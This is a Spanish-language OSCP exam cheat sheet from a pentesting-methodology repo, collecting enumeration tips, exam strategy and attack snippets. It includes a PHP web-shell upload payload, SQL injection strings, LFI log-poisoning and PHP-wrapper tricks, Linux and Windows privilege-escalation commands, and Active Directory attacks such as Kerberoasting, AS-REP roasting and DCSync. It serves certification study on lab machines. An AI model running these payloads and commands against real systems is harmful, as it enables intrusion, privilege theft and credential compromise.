El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
232 lines
10 KiB
Markdown
232 lines
10 KiB
Markdown
# Trucos y Trampas — OSCP / Pentest
|
|
|
|
> Compilado de cultura pública (TJ Null, ippsec, 0xdf, Heath Adams, /r/oscp, HackTricks, foros HTB).
|
|
> **No** son contenidos del Discord privado de OffSec ni material bajo NDA.
|
|
> Son **anti-rabbit-holes**, **detalles olvidados** y **patrones que se repiten** en máquinas estilo OSCP.
|
|
|
|
---
|
|
|
|
## Trampas de enumeración (donde la gente pierde 4 horas)
|
|
|
|
```
|
|
─ Olvidar UDP ────────────────────────────────────────────
|
|
nmap -sU --top-ports 50 -T4 IP
|
|
SNMP (161), TFTP (69), NTP (123) suelen dar oro
|
|
|
|
─ Olvidar puertos altos ──────────────────────────────────
|
|
nmap solo escanea top 1000 por defecto
|
|
SIEMPRE: nmap -p- --min-rate=5000 IP (los 65535)
|
|
|
|
─ Olvidar vhosts/subdominios ─────────────────────────────
|
|
Si te encuentras "default Apache page", prueba:
|
|
gobuster vhost -u http://IP -w /usr/share/seclists/Discovery/DNS/...
|
|
ffuf -H "Host: FUZZ.objetivo.htb" -u http://IP
|
|
|
|
─ /etc/hosts no actualizado ──────────────────────────────
|
|
Si la web carga rara o redirige, mira el "Host:" header
|
|
Añade el dominio a /etc/hosts SIEMPRE que aparezca
|
|
|
|
─ HTTPS revela hostnames ─────────────────────────────────
|
|
openssl s_client -connect IP:443
|
|
El cert te puede chivar el dominio real
|
|
|
|
─ Wordlists pequeñas ─────────────────────────────────────
|
|
common.txt = junior level
|
|
Para OSCP: raft-large-words.txt, directory-list-2.3-medium.txt
|
|
gobuster -w /usr/share/seclists/Discovery/Web-Content/raft-large-...
|
|
```
|
|
|
|
---
|
|
|
|
## Trampas web
|
|
|
|
```
|
|
─ "robots.txt es perezoso" ───────────────────────────────
|
|
Mira también: sitemap.xml, .git/, .svn/, .htaccess,
|
|
.DS_Store, backup/, old/, dev/, test/, admin/
|
|
|
|
─ Source HTML / JS ───────────────────────────────────────
|
|
Ctrl+U siempre. Comentarios con creds, paths, endpoints
|
|
JS embebidos con APIs ocultas (LinkFinder, JSparser)
|
|
|
|
─ LFI → RCE ──────────────────────────────────────────────
|
|
Si tienes LFI básico, prueba:
|
|
/proc/self/environ (con User-Agent malicioso)
|
|
/var/log/apache2/access.log (poison + curl con UA payload)
|
|
php://filter/convert.base64-encode/resource=index.php
|
|
data://, expect://, phar:// (PHP wrappers)
|
|
|
|
─ Upload "filtrado" ──────────────────────────────────────
|
|
Doble extensión: shell.php.jpg, shell.phtml, .phar, .pht
|
|
Magic bytes: GIF89a;<?php system($_GET['c']); ?>
|
|
Burp → cambia Content-Type a image/jpeg
|
|
.htaccess para reasignar handler
|
|
|
|
─ SQLi sin sqlmap ────────────────────────────────────────
|
|
Aprende manual primero. sqlmap a veces miente.
|
|
Para login: ' OR '1'='1'-- - (con space-doble-dash-space)
|
|
Time-based: ' AND SLEEP(5)-- -
|
|
```
|
|
|
|
---
|
|
|
|
## Trampas de shell
|
|
|
|
```
|
|
─ Shell rota = tortura ────────────────────────────────────
|
|
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
|
Ctrl+Z
|
|
stty raw -echo; fg
|
|
export TERM=xterm
|
|
stty rows 40 columns 120
|
|
(rows/cols los sacas con "stty size" en TU kali)
|
|
|
|
─ Listener equivocado ────────────────────────────────────
|
|
nc clásico para Linux victim
|
|
ncat --ssl para evitar IDS
|
|
stty raw -echo + nc para Windows ConPtyShell
|
|
|
|
─ Egress filtering ───────────────────────────────────────
|
|
El firewall del objetivo bloquea ciertos puertos
|
|
PRUEBA: 80, 443, 8080, 53, 4444. Si nada, ICMP shell.
|
|
```
|
|
|
|
---
|
|
|
|
## Privesc Linux — los 10 olvidados
|
|
|
|
```
|
|
1. SUID exóticos → find / -perm -4000 2>/dev/null
|
|
(y luego GTFOBins cada uno)
|
|
2. sudo -l → SIEMPRE primero, sin password
|
|
3. Capabilities → getcap -r / 2>/dev/null
|
|
(cap_setuid en python/perl = root)
|
|
4. Cron escribibles → cat /etc/crontab, /var/spool/cron
|
|
Scripts que tú puedes editar
|
|
5. Wildcard injection→ "tar czf /backup/* " con file --checkpoint
|
|
6. PATH abuse → si un script SUID llama "ps" sin ruta
|
|
absoluta, creas ./ps malicioso
|
|
7. NFS no_root_squash→ showmount -e ; montas y subes SUID
|
|
8. Docker group → si estás en grupo "docker", eres root:
|
|
docker run -v /:/mnt -it alpine chroot /mnt
|
|
9. Kernel exploits → último recurso. DirtyCow, DirtyPipe
|
|
(uname -a; searchsploit kernel x.x)
|
|
10. Caps de archivo → /var/backups, /etc/passwd escribible,
|
|
/etc/shadow legible
|
|
```
|
|
|
|
---
|
|
|
|
## Privesc Windows — los 10 olvidados
|
|
|
|
```
|
|
1. whoami /priv → busca SeImpersonate, SeAssignPrimaryToken
|
|
→ JuicyPotato, PrintSpoofer, GodPotato
|
|
2. Unquoted services → wmic service get name,pathname,startmode
|
|
Path con espacios sin comillas + carpeta
|
|
escribible = exe propio
|
|
3. AlwaysInstallElev → reg query HKLM\Software\Policies\Microsoft\
|
|
Windows\Installer
|
|
Si ambos = 1 → msi propio = SYSTEM
|
|
4. Service permisos → accesschk.exe -uwcqv user *
|
|
SERVICE_CHANGE_CONFIG = ownership
|
|
5. Credenciales en disco→ recurse find:
|
|
Unattend.xml, sysprep.inf, web.config,
|
|
cmdkey /list, registry SAM/SYSTEM
|
|
6. AutoLogon en regis→ HKLM\SOFTWARE\Microsoft\Windows NT\
|
|
CurrentVersion\Winlogon
|
|
7. Pass spraying → la misma pass del user normal contra
|
|
admin, administrator, sa, sysadmin
|
|
8. WSL / OpenSSH server → veces hay credenciales en .bash_history
|
|
9. Scheduled tasks → schtasks /query /fo LIST /v
|
|
Tareas con scripts editables
|
|
10. UAC bypass + token impersonation
|
|
```
|
|
|
|
---
|
|
|
|
## Active Directory — los 7 caminos que SIEMPRE pruebas
|
|
|
|
```
|
|
1. Anonymous SMB → smbclient -L //IP -N
|
|
nxc smb IP -u "" -p ""
|
|
2. AS-REP Roasting → impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass
|
|
(usuarios con "Do not require pre-auth")
|
|
3. Kerberoasting → impacket-GetUserSPNs dominio/user:pass -request
|
|
(cuentas de servicio con SPN)
|
|
4. GPP cpassword → buscar en \\DC\SYSVOL\<dom>\Policies\
|
|
Groups.xml con cpassword (rotos en clave AES fija)
|
|
5. LAPS → nxc ldap IP -u u -p p --module laps
|
|
6. ACL abuses → BloodHound te los pinta:
|
|
GenericAll, WriteDACL, AddMember, ForceChangePassword
|
|
7. DCSync → con permisos DS-Replication, dumpear todo el dominio
|
|
```
|
|
|
|
---
|
|
|
|
## Trampas de "examen real" (anti-pánico)
|
|
|
|
```
|
|
─ Time management ────────────────────────────────────────
|
|
24h ≠ 24h. Duermes 6h. Comes. Te duchas.
|
|
Regla: 1.5h sin progreso = cambia de máquina.
|
|
Cierra y vuelve más tarde con cabeza fresca.
|
|
|
|
─ Documentación EN VIVO ──────────────────────────────────
|
|
Captura TODO con Flameshot/Greenshot mientras lo haces.
|
|
No al final. Al final no recuerdas el comando exacto.
|
|
Cada flag con hostname visible (ipconfig/ifconfig).
|
|
local.txt = user proof, proof.txt = root proof.
|
|
|
|
─ Reutilización de credenciales ──────────────────────────
|
|
La pass del usuario A muchas veces vale para usuario B.
|
|
PRUEBA siempre cada pass que pillas contra TODOS los hosts.
|
|
|
|
─ El AD set es 40 puntos seguidos ────────────────────────
|
|
3 máquinas encadenadas. Si te atascas en máquina 1,
|
|
no avanzas en 2 y 3. Empieza por ahí con tiempo.
|
|
|
|
─ Standalones independientes ─────────────────────────────
|
|
3 máquinas independientes de 20pts cada una.
|
|
user (10pt) + root (20pt). Saca user de las 3
|
|
ANTES de obsesionarte con root de una.
|
|
|
|
─ Reporte cuenta ─────────────────────────────────────────
|
|
Sin reporte, no apruebas, aunque saques 100 puntos
|
|
técnicos. 24h después del examen. Markdown template:
|
|
https://github.com/noraj/OSCP-Exam-Report-Template-Markdown
|
|
|
|
─ Metasploit limitado ────────────────────────────────────
|
|
Puedes usarlo solo en UNA máquina.
|
|
meterpreter post-explotation no cuenta como "uso"
|
|
solo el initial foothold cuenta.
|
|
```
|
|
|
|
---
|
|
|
|
## Recursos públicos donde sí está todo esto
|
|
|
|
| Recurso | Por qué importa |
|
|
|---|---|
|
|
| **TJ Null's OSCP-like list** (en Reddit) | Lista actualizada de máquinas HTB/THM equivalentes a OSCP |
|
|
| **ippsec.rocks** | Buscador de writeups por técnica ("kerberoasting" → te lista todas las máquinas HTB donde aparece) |
|
|
| **0xdf.gitlab.io** | Writeups detalladísimos con explicación pedagógica |
|
|
| **PayloadsAllTheThings** | Cheatsheet de todo lo web |
|
|
| **HackTricks (book.hacktricks.xyz)** | La biblia. Lo busques lo que busques está ahí |
|
|
| **GTFOBins / LOLBAS** | Para privesc Linux y LOLBins Windows |
|
|
| **/r/oscp** | Subreddit con experiencias de examinados (sin spoilers) |
|
|
| **Discord públicos**: HTB, TryHackMe, NetSecFocus | Comunidades activas que SÍ puedes consultar |
|
|
|
|
---
|
|
|
|
## Truco meta de meta-trucos
|
|
|
|
El truco real del OSCP no es saber 200 técnicas. Es **tener una metodología repetible**:
|
|
|
|
```
|
|
Enumeración exhaustiva → vector → foothold →
|
|
PrivEsc con script automatizado + revisión manual →
|
|
documentar antes de pasar a siguiente máquina
|
|
```
|
|
|
|
La gente suspende por **saltarse pasos** o por **obsesionarse con un vector**, no por desconocimiento técnico.
|